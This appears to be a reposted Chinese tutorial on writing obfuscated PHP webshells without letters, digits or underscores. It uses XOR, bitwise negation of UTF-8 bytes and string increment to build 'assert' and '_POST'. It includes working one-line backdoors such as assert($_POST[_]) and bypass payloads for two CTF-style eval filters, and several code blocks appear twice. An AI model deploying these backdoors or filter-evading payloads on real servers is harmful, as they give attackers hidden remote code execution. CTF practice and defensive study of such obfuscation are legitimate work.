PHP中异或 (^) 的概念

<?php
echo"A"^"?";
?>

<?php
echo"A"^"?";
?>

输出的结果是字符 “~”,这是因为代码对字符 “A” 和字符 “?” 进行了异或操作。在 PHP 中两个变量进行异或时,会先将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。

A 的 ASCII 值是 65,对应的二进制值是 01000001
1
A 的 ASCII 值是 65,对应的二进制值是 01000001
? 的 ASCII 值是 63,对应的二进制值是 00111111

异或的二进制的值是 10000000

? 的 ASCII 值是 63,对应的二进制值是 00111111

异或的二进制的值是 10000000
二进制对应的 ASCII 为 126,也就是字符 “~”。

例如非数字字母的 PHP 后门

<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

甚至可以将上面的代码合并为一行,从而使程序的可读性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

甚至可以将上面的代码合并为一行,从而使程序的可读性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

PHP 中取反 (~) 的概念

来看一个汉字 “和”

>>>print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>>print("和".encode('utf8')[2])
140
>>>print(~"和".encode('utf8')[2])
-141

>>>print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>>print("和".encode('utf8')[2])
140
>>>print(~"和".encode('utf8')[2])
-141
“和” 的第三个字节的值为 140[0x8c],取反的值为 -141

负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的 16 进制为 0xff73,php 中 chr(0xff73)==115,115 就是 s 的 ASCII 值。因此

<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>

<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
两个写法性质一样结果会输出: ss

不用数字构造出数字

利用了 PHP 弱类型特性,true 的值为 1,故 true+true==2。结果会输出:2 1

在 php 中未定义的变量默认值为 null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。

<?php
$_++;
print($_);
?>

<?php
$_++;
print($_);
?>
结果会输出:1

不用数字和字母的 shell

在讲不用数字,字母和下划线写 shell 之前,先了解下不用数字和字母写 shell。毕竟学习都是循序渐进的。而且用不用下划线其实问题不大,因为 PHP 太灵活了。代码:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

思路
将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,如 “assert”,然后动态执行即可。
非字母、数字的字符异或出字母
不可打印字符,用 url 编码表示。
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
还可以用更短的字符,下面会用到。

"`{{{"^"?<>/"//_GET
1
"`{{{"^"?<>/"//_GET
^ 会对两边对应的字符串进行异或。

非字母、数字的字符取反出字母

利用的是 UTF-8 编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的 utf8 是三个字节,{2} 表示第 3 个字节

<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo"
";
print(~($____{$__}));

<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo"
";
print(~($____{$__}));
payload

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
这里也有一种简短的写法 ${~”\xa0\xb8\xba\xab”} 它等于 $_GET。这里相当于直接把 utf8 编码的某个字节提取出来统一进行取反。

php 递增/递减运算符

这种方法很明显的缺点就是需要大量的字符。

‘a’++ => ‘b’,’b’++ => ‘c’,我们只要能拿到一个变量,其值为 a,通过自增操作即可获得 a-z 中所有字符。

数组(Array)的第一个字母就是大写 A,而且第 4 个字母是小写 a。在 PHP 中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array。再取这个字符串的第一个字母,就可以获得 ‘A’。

因为 PHP 函数是大小写不敏感的,最终执行的是 ASSERT($POST[]),无需获取小写 a。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
不用数字和字母写 shell 的实例

<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
要求 code 的长度不能大于 40,限制输入不能为字母和数字。可以利用 PHP 允许动态函数执行的特点,拼接出一个函数名 getFlag(),然后动态执行即可。

这里依然可以用异或的方法,只是上面写出来的字符长度太长了。需要用简短的写法:

payload

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
1
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
这里的 “{{{"^"?<>/"上面已经说过了是异或的简短写法,表示_GET。

${$_}[_](${$_}[__]);等于 $_GET[_]($_GET[__]);

把_当作参数传进去执行 getFlag()

这道题当然也可以用取反的方法,不过下面会讲到,这里就不再重复。

不用数字,字母和下划线写 shell 的实例

&lt;?php

include'flag.php';

if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)&gt;50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?&gt;

&lt;?php

include'flag.php';

if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)&gt;50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?&gt;
下划线都不给,这就很恐怖了。意味着不能定义变量,而且也构造不出来数字。不过在PHP的灵活性面前,问题不大。

这是一开始学长给的 payload,+号 必须加引号

"$".("`"^"?").(":"^"}").("&gt;"^"{").("/"^"{")."['+']"&amp;+=getFlag();//$_GET['+']&amp;+=getFlag();
1
"$".("`"^"?").(":"^"}").("&gt;"^"{").("/"^"{")."['+']"&amp;+=getFlag();//$_GET['+']&amp;+=getFlag();
51 个字符太长了,所以这里可以用简短的写法

('$').("`{{{"^"?&lt;&gt;/").(['+'])&amp;+=getFlag();
1
('$').("`{{{"^"?&lt;&gt;/").(['+'])&amp;+=getFlag();
不过这样不能成功。

学长给出了解释:eval 只能解析一遍代码,所以如果写的是 a.b 这样的字符串拼接,就只会执行这个拼接,并不会去执行代码

例如:

eval($_GET['b'])url 里面 b=phpinfo();这时候相当于eval('phpinfo();')

eval($_GET['b'])url 里面 b=phpinfo();这时候相当于eval('phpinfo();')

上面的 payload 是 code=$_GET['+']&+=getFlag();也就是eval('$_GET['+']) 并不会执行 getFlag();

正确的 payload 为:

${"`{{{"^"?&lt;&gt;/"}['+']();&amp;+=getFlag
1
${"`{{{"^"?&lt;&gt;/"}['+']();&amp;+=getFlag
这里利用了 ${} 中的代码是可以执行的特点,其实也就是可变变量。

&lt;?php
$a='hello';
$$a='world';
echo"$a${$a}";
?&gt;

输出:helloworld

&lt;?php
$a='hello';
$$a='world';
echo"$a${$a}";
?&gt;

输出:helloworld
${$a},括号中的 $a是可以执行的,变成了 hello。

payload 中的 {} 也是这个原理,{} 中用的是异或,^ 在 {} 中被执行了,也就是上面讲的 "{{{“^”?<>/” 执行了异或操作,相当于 _GET。

最后 eval 函数拼接出了字符串 $_GET'+';,然后传入 +=getFlag,最后执行了函数 getFlag();

429 大佬给出的 payload:

http://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

这里用的是取反

~ 在 {} 中执行了取反操作,所以 ${~”\xa0\xb8\xba\xab”} 取反相当于$_GET。

跟上面的 payload 一个原理,拼接出了 $_GET[‘+’]();,传入 +=getFlag() 从而执行了函数。

还有一种拼接的 payload:

code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
1
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
原理大同小异,$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。

总结

PHP 是弱类型的语言,因此我们可以利用这个特点进行许多非常规的操作,也就是利用各种骚姿势来达到同一个目的。不过随着 PHP 版本的变化,php 的一些特性也会变化,例如 php5 中 assert 是一个函数,但 php7 中,assert 不再是函数,变成了一个语言结构(类似 eval),不能再作为函数名动态执行代码。因此我们要多熟悉 php 不同版本的差异。

转载:https://www.artgeek.cn/?p=214

涨姿势:抛弃字母、数字和下划线写SHELL的更多相关文章

  1. php 正则匹配包含字母、数字以及下划线,且至少包含2种

    新系统注册功能需对用户名和密码做以下要求:包含字母.数字以及下划线,且至少包含2种: 在网上没有搜到符合要求的代码,于是自己对他人代码做了一点修改,经测试满足要求.代码如下: if (!preg_ma ...

  2. ASP.NET C# 登陆窗体 限制用户名只输入字母 数字以及下划线

    文本框的输入限制,我们主要集中两个问题: 一.怎样限制用户名输入的长度? 答:设置txtName的属性 MaxLength="; (我们这里以10个字符为例) 二.怎样限制用户名只输入字母 ...

  3. iphone 微信下浏览器中数字去除下划线

    在开发iphone应用程序的时候,safari下手机号码默认是有下划线的,通过下面的方法就可以去掉: <meta name="format-detection" conten ...

  4. PostgreSQL解决"Abc_de_fghijkl_mn" 首字母小写去掉下划线并且下划线后面的第一个字母大写或首字母大写去掉下划线并且下划线后面的首字母大写的js

    select "lower"(substr('Abc_de_fghijkl_mn', 1, 1)) || substr(replace(REGEXP_REPLACE(INITCAP ...

  5. js中用户名的正则(字符,数字,下划线,减号)

    <!DOCTYPE html><html><head><meta charset="UTF-8"><title>Inse ...

  6. Python3.7 数字之间下划线

    只是为了提高可读性,数值没变. >>> yes_votes = 42_572_6540 ; >>> yes_votes = 42_572_654099 ; > ...

  7. ie edge 自动给数字加下划线

    <meta name="format-detection" content="telephone=no,email=no,address=no">

  8. Edge 自动给数字加下划线的问题

    <meta name="format-detection" content="telephone=no,email=no,address=no">

  9. 为什么Java7开始在数字中使用下划线

    JDK1.7的发布已经介绍了一些有用的特征,尽管大部分都是一些语法糖,但仍然极大地提高了代码的可读性和质量.其中的一个特征是介绍字面常量数字的下划线.从Java7开始,你就可以在你的Java代码里把长 ...

随机推荐

  1. FineReport启动后访问404

    近期将FineReport以嵌入式方式部署在Tomcat8上,启动服务后,点击导出下载出现HTTP ERROR 404情况: 百思不得其解啊,纠结了好几天: 后查看原部署Tomcat6服务器的cata ...

  2. js基础--获取浏览器当前页面的滚动条高度的兼容写法

    欢迎访问我的个人博客:http://www.xiaolongwu.cn 前言 在开发中,兼容性问题是最常见的,今天就来介绍一下关于获取滚动条高度的兼容性写法,宽度同理,我在这里就不一一解释了 各浏览器 ...

  3. Android开发学习总结(三)——appcompat_v7项目说明

    一.appcompat_v7项目说明 今天来说一下appcompat_v7项目的问题,使用eclipse创建Android项目时,发现project列表中会多创建出一个appcompat_v7项目,这 ...

  4. mac的terminal快捷键

    mac终端terminal快捷键: Command + K 清屏 Command + T 新建标签 Command +W  关闭当前标签页 Command + S  保存终端输出 Command + ...

  5. PAT1058:A+B in Hogwarts

    1058. A+B in Hogwarts (20) 时间限制 50 ms 内存限制 65536 kB 代码长度限制 16000 B 判题程序 Standard 作者 CHEN, Yue If you ...

  6. Python初级教程

    Python语言的特点 优点: - 简单 - 易学 - 免费,开源 - 高层语言 - 可移植性(可再多平台运行) - 解释性(不需要编译,可直接运行) - 面向对象 - 可扩展性(缺点:运行效率相对较 ...

  7. Linux时间子系统之(十四):tick broadcast framework

    专题文档汇总目录 Notes:BroadcastTick作为cpuidle的waker,硬件基础.BroadcastTick嵌入在当前系统Tick框架中.BroadcastTick设备初始化:周期性T ...

  8. An annotation based command line parser

    Java命令行选项解析之Commons-CLI & Args4J & JCommander http://rensanning.iteye.com/blog/2161201 JComm ...

  9. Tar专题

    下面的脚本根据当前的系统时间生成压缩文件名,并备份文件到指定目录: DIR=/www/webbackup/web/ FILE_NAME=`date +%y%m%d%H` FILE_NAME=$DIR/ ...

  10. SpringData ES中一些底层原理的分析

    之前写过一篇SpringData ES 关于字段名和索引中的列名字不一致导致的查询问题,顺便深入学习下Spring Data Elasticsearch. Spring Data Elasticsea ...